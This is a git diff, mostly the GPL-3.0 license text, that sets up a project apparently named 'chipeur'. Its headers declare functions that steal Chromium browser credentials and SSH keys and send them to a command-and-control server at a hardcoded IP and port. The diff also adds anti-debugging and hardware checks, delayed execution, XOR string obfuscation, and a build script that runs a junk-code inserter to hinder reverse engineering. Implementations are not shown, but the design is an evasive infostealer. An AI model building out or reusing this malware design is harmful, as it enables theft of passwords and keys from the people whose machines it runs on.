diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..f288702
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,674 @@
+ GNU GENERAL PUBLIC LICENSE
+ Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc.
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+ The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works. By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users. We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors. You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+ To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights. Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received. You must make sure that they, too, receive
+or can get the source code. And you must show them these terms so they
+know their rights.
+
+ Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+ For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software. For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+ Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so. This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software. The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable. Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products. If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+ Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary. To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU General Public License.
+
+ "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+ "The Program" refers to any copyrightable work licensed under this
+License. Each licensee is addressed as "you". "Licensees" and
+"recipients" may be individuals or organizations.
+
+ To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy. The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+ A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+ To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy. Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+ To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies. Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License. If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+ The "source code" for a work means the preferred form of the work
+for making modifications to it. "Object code" means any non-source
+form of a work.
+
+ A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+ The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form. A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+ The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities. However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work. For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+ The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+ The Corresponding Source for a work in source code form is that
+same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met. This License explicitly affirms your unlimited
+permission to run the unmodified Program. The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work. This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+ You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force. You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright. Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+ Conveying under any other circumstances is permitted solely under
+the conditions stated below. Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+ You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified
+ it, and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is
+ released under this License and any conditions added under section
+ 7. This requirement modifies the requirement in section 4 to
+ "keep intact all notices".
+
+ c) You must license the entire work, as a whole, under this
+ License to anyone who comes into possession of a copy. This
+ License will therefore apply, along with any applicable section 7
+ additional terms, to the whole of the work, and all its parts,
+ regardless of how they are packaged. This License gives no
+ permission to license the work in any other way, but it does not
+ invalidate such permission if you have separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your
+ work need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit. Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium
+ customarily used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a
+ written offer, valid for at least three years and valid for as
+ long as you offer spare parts or customer support for that product
+ model, to give anyone who possesses the object code either (1) a
+ copy of the Corresponding Source for all the software in the
+ product that is covered by this License, on a durable physical
+ medium customarily used for software interchange, for a price no
+ more than your reasonable cost of physically performing this
+ conveying of source, or (2) access to copy the
+ Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This
+ alternative is allowed only occasionally and noncommercially, and
+ only if you received the object code with such an offer, in accord
+ with subsection 6b.
+
+ d) Convey the object code by offering access from a designated
+ place (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to
+ copy the object code is a network server, the Corresponding Source
+ may be on a different server (operated by you or a third party)
+ that supports equivalent copying facilities, provided you maintain
+ clear directions next to the object code saying where to find the
+ Corresponding Source. Regardless of what server hosts the
+ Corresponding Source, you remain obligated to ensure that it is
+ available for as long as needed to satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided
+ you inform other peers where the object code and Corresponding
+ Source of the work are being offered to the general public at no
+ charge under subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+ A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling. In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage. For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product. A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+ "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source. The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information. But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+ The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed. Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+ "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law. If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+ When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it. (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.) You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+ Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some
+ trade names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that
+ material by anyone who conveys the material (or modified versions of
+ it) with contractual assumptions of liability to the recipient, for
+ any liability that these contractual assumptions directly impose on
+ those licensors and authors.
+
+ All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10. If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term. If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+ Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+provided under this License. Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+ However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+ Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License. If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or
+run a copy of the Program. Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance. However,
+nothing other than this License grants you permission to propagate or
+modify any covered work. These actions infringe copyright if you do
+not accept this License. Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License. You are not responsible
+for enforcing compliance by third parties with this License.
+
+ An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations. If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License. For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+ 11. Patents.
+
+ A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based. The
+work thus licensed is called the contributor's "contributor version".
+
+ A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version. For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+ In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement). To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+ If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients. "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+ A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License. You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+ 13. Use with the GNU Affero General Public License.
+
+ Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work. The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+ 14. Revised Versions of this License.
+
+ The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation. If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+ If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+ Later license versions may give you additional or different
+permissions. However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+
+ Copyright (C)
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+ Copyright (C)
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+.
+
+ The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library. If this is what you want to do, use the GNU Lesser General
+Public License instead of this License. But first, please read
+.
diff --git a/build.sh b/build.sh
new file mode 100644
index 0000000..b3b501c
--- /dev/null
+++ b/build.sh
@@ -0,0 +1,14 @@
+#!/bin/bash
+
+echo "Compiling junk_code_inserter..."
+gcc -o junk_code_inserter src/junk_code_inserter.c -Iinclude -lcrypto || exit 1
+
+echo "Applying junk code to modified source files..."
+for file in $(git status --porcelain | awk '{print $2}' | grep '^src/.*\.c$' | grep -v 'junk_code_inserter.c'); do
+ if [[ "$file" != "src/sqlite3.c" && "$file" != "src/aes.c" ]]; then
+ echo "Processing $file"
+ ./junk_code_inserter "$file"
+ else
+ echo "Skipping $file"
+ fi
+done
diff --git a/include/c2.h b/include/c2.h
new file mode 100644
index 0000000..6b44404
--- /dev/null
+++ b/include/c2.h
@@ -0,0 +1,15 @@
+#ifndef C2_H
+#define C2_H
+#include
+#include
+
+#include "find_ssh_key.h"
+#include "logins.h"
+
+#define C2_IP "192.168.1.17"
+#define C2_PORT 1234
+
+BOOL send_ssh_key(sshKey[MAX_KEY_FILES], DWORD32, SOCKET *);
+BOOL send_credentials(SOCKET *, Credential *, DWORD32);
+BOOL connect_to_c2(SOCKET *);
+#endif
\ No newline at end of file
diff --git a/include/chipeur.h b/include/chipeur.h
index 857055a..1b3d6b7 100644
--- a/include/chipeur.h
+++ b/include/chipeur.h
@@ -1 +1,4 @@
-void hello(void);
\ No newline at end of file
+#ifndef CHIPEUR_H
+#define CHIPEUR_H
+void hello(void);
+#endif
\ No newline at end of file
diff --git a/include/chromium.h b/include/chromium.h
index 7b38b8d..5ab8482 100644
--- a/include/chromium.h
+++ b/include/chromium.h
@@ -5,6 +5,7 @@
#include
#include "logins.h"
+#include "obfuscation.h"
#define MAX_BROWSER_NAME_SIZE 20
#define MAX_LOGIN_DATA_PATH_SIZE 57
@@ -16,14 +17,14 @@ typedef struct {
WCHAR localStatePath[MAX_LOCAL_STATE_PATH_SIZE];
} BrowserInfo;
-int steal_chromium_creds();
-static int steal_browser_creds(BrowserInfo browser);
-static int retrieve_logins(PWSTR fullPath, int *loginCountOut,
+int steal_chromium_creds(Credential *, DWORD32 *);
+static int steal_browser_creds(BrowserInfo browser, Credential *, DWORD32 *);
+static int retrieve_logins(const PWSTR fullPath, int *loginCountOut,
Login *loginsOut[]);
static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encryptedKeyOut);
static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[],
- size_t *decodedKeySizeOut);
+ size_t *decodedKeySizeOut, hidden_apis *apis);
static int decrypt_key(BYTE *encryptedKey, size_t encryptedKeySize,
- DATA_BLOB *decryptedKeyOut);
+ DATA_BLOB *decryptedKeyOut, hidden_apis *apis);
#endif
diff --git a/include/delay_execution.h b/include/delay_execution.h
new file mode 100644
index 0000000..2e71a51
--- /dev/null
+++ b/include/delay_execution.h
@@ -0,0 +1,6 @@
+#ifndef DELAY_EXECUTION_H
+#define DELAY_EXECUTION_H
+
+int delay_execution(int duration);
+
+#endif
diff --git a/include/extract_file.h b/include/extract_file.h
index d317578..6c6ffb0 100644
--- a/include/extract_file.h
+++ b/include/extract_file.h
@@ -1,3 +1,7 @@
+#ifndef EXTRACT_FILE_H
+#define EXTRACT_FILE_H
#include
-void print_file(const PWSTR);
\ No newline at end of file
+void print_file(const PWSTR);
+BOOL is_readable(const PWSTR);
+#endif
\ No newline at end of file
diff --git a/include/find_ssh_key.h b/include/find_ssh_key.h
index 156f551..a002058 100644
--- a/include/find_ssh_key.h
+++ b/include/find_ssh_key.h
@@ -1,3 +1,5 @@
+#ifndef FIND_SSH_KEY_H
+#define FIND_SSH_KEY_H
#include
// Max number of possible ssh keys to dump.
@@ -5,9 +7,10 @@
#define MAX_KEY_FILES 30
// Simple structure representing a ssh
-typedef struct sshkey {
+typedef struct sshKey {
PWSTR publicKeyPath;
PWSTR secretKeyPath;
-} sshkey;
+} sshKey;
-void find_ssh_key(const PWSTR);
\ No newline at end of file
+void find_ssh_key(const PWSTR, sshKey[MAX_KEY_FILES], DWORD32 *);
+#endif
\ No newline at end of file
diff --git a/include/hardware_requirements.h b/include/hardware_requirements.h
new file mode 100644
index 0000000..3b22fda
--- /dev/null
+++ b/include/hardware_requirements.h
@@ -0,0 +1,11 @@
+#ifndef HARDWARE_REQUIREMENTS_H
+#define HARDWARE_REQUIREMENTS_H
+
+#define EXIT_CPU_FAIL 200
+#define EXIT_RAM_FAIL 201
+#define EXIT_HDD_FAIL 202
+#define EXIT_RESOLUTION_FAIL 203
+
+int check_hardware();
+
+#endif
diff --git a/include/junk_code_inserter.h b/include/junk_code_inserter.h
new file mode 100644
index 0000000..98a4f5e
--- /dev/null
+++ b/include/junk_code_inserter.h
@@ -0,0 +1,39 @@
+#ifndef JUNK_CODE_INSERTER_H
+#define JUNK_CODE_INSERTER_H
+
+#include
+#include
+#include
+#include
+
+// Constants for junk code and control flow obfuscation probabilities
+#define MAX_LINE_LENGTH 1024
+#define MAX_OBFUSCATIONS_PER_FUNCTION 1
+#define JUNK_CODE_PROBABILITY 15
+#define CONTROL_FLOW_PROBABILITY 10
+#define OPAQUE_PREDICATE_PROBABILITY 10
+
+/**
+ * @brief Generates random junk code to obfuscate the source code.
+ *
+ * @param output The file pointer where the junk code will be written.
+ */
+void generate_junk_code(FILE *output);
+
+/**
+ * @brief Generates random control flow obfuscation to make reverse engineering
+ * harder.
+ *
+ * @param output The file pointer where the control flow obfuscation will be
+ * written.
+ */
+void generate_control_flow(FILE *output);
+
+/**
+ * @brief Applies junk code and control flow obfuscation to a given source file.
+ *
+ * @param file_path The path to the source file to be obfuscated.
+ */
+void insert_obfuscation(const char *file_path);
+
+#endif // JUNK_CODE_INSERTER_H
diff --git a/include/logins.h b/include/logins.h
index bf2a159..8536357 100644
--- a/include/logins.h
+++ b/include/logins.h
@@ -3,6 +3,8 @@
#include
+#define CRED_SIZE 32
+
// Encrypted credentials
typedef struct {
PSTR url;
@@ -12,7 +14,6 @@ typedef struct {
} Login;
// Decrypted `Login`
-// mostly used for debug/printing purposes
typedef struct {
PSTR url;
PSTR username;
diff --git a/include/obfuscation.h b/include/obfuscation.h
index 3888151..c2e7dcb 100644
--- a/include/obfuscation.h
+++ b/include/obfuscation.h
@@ -1,4 +1,9 @@
+#ifndef OBFUSCATION_H
+#define OBFUSCATION_H
+#include
+#include
#include
+#include
#define XOR_STR(str, size) \
do { \
@@ -13,3 +18,27 @@
(wstr)[i] ^= 42; \
} \
} while (0)
+
+#define REFKNOWNFOLDERID const KNOWNFOLDERID *__MIDL_CONST
+
+typedef BOOL(WINAPI *PCheckRemoteDebuggerPresent)(HANDLE hProcess,
+ PBOOL pbDebuggerPresent);
+// typedef HMODULE(WINAPI *PLoadLibraryA)(LPCSTR lpLibFileName);
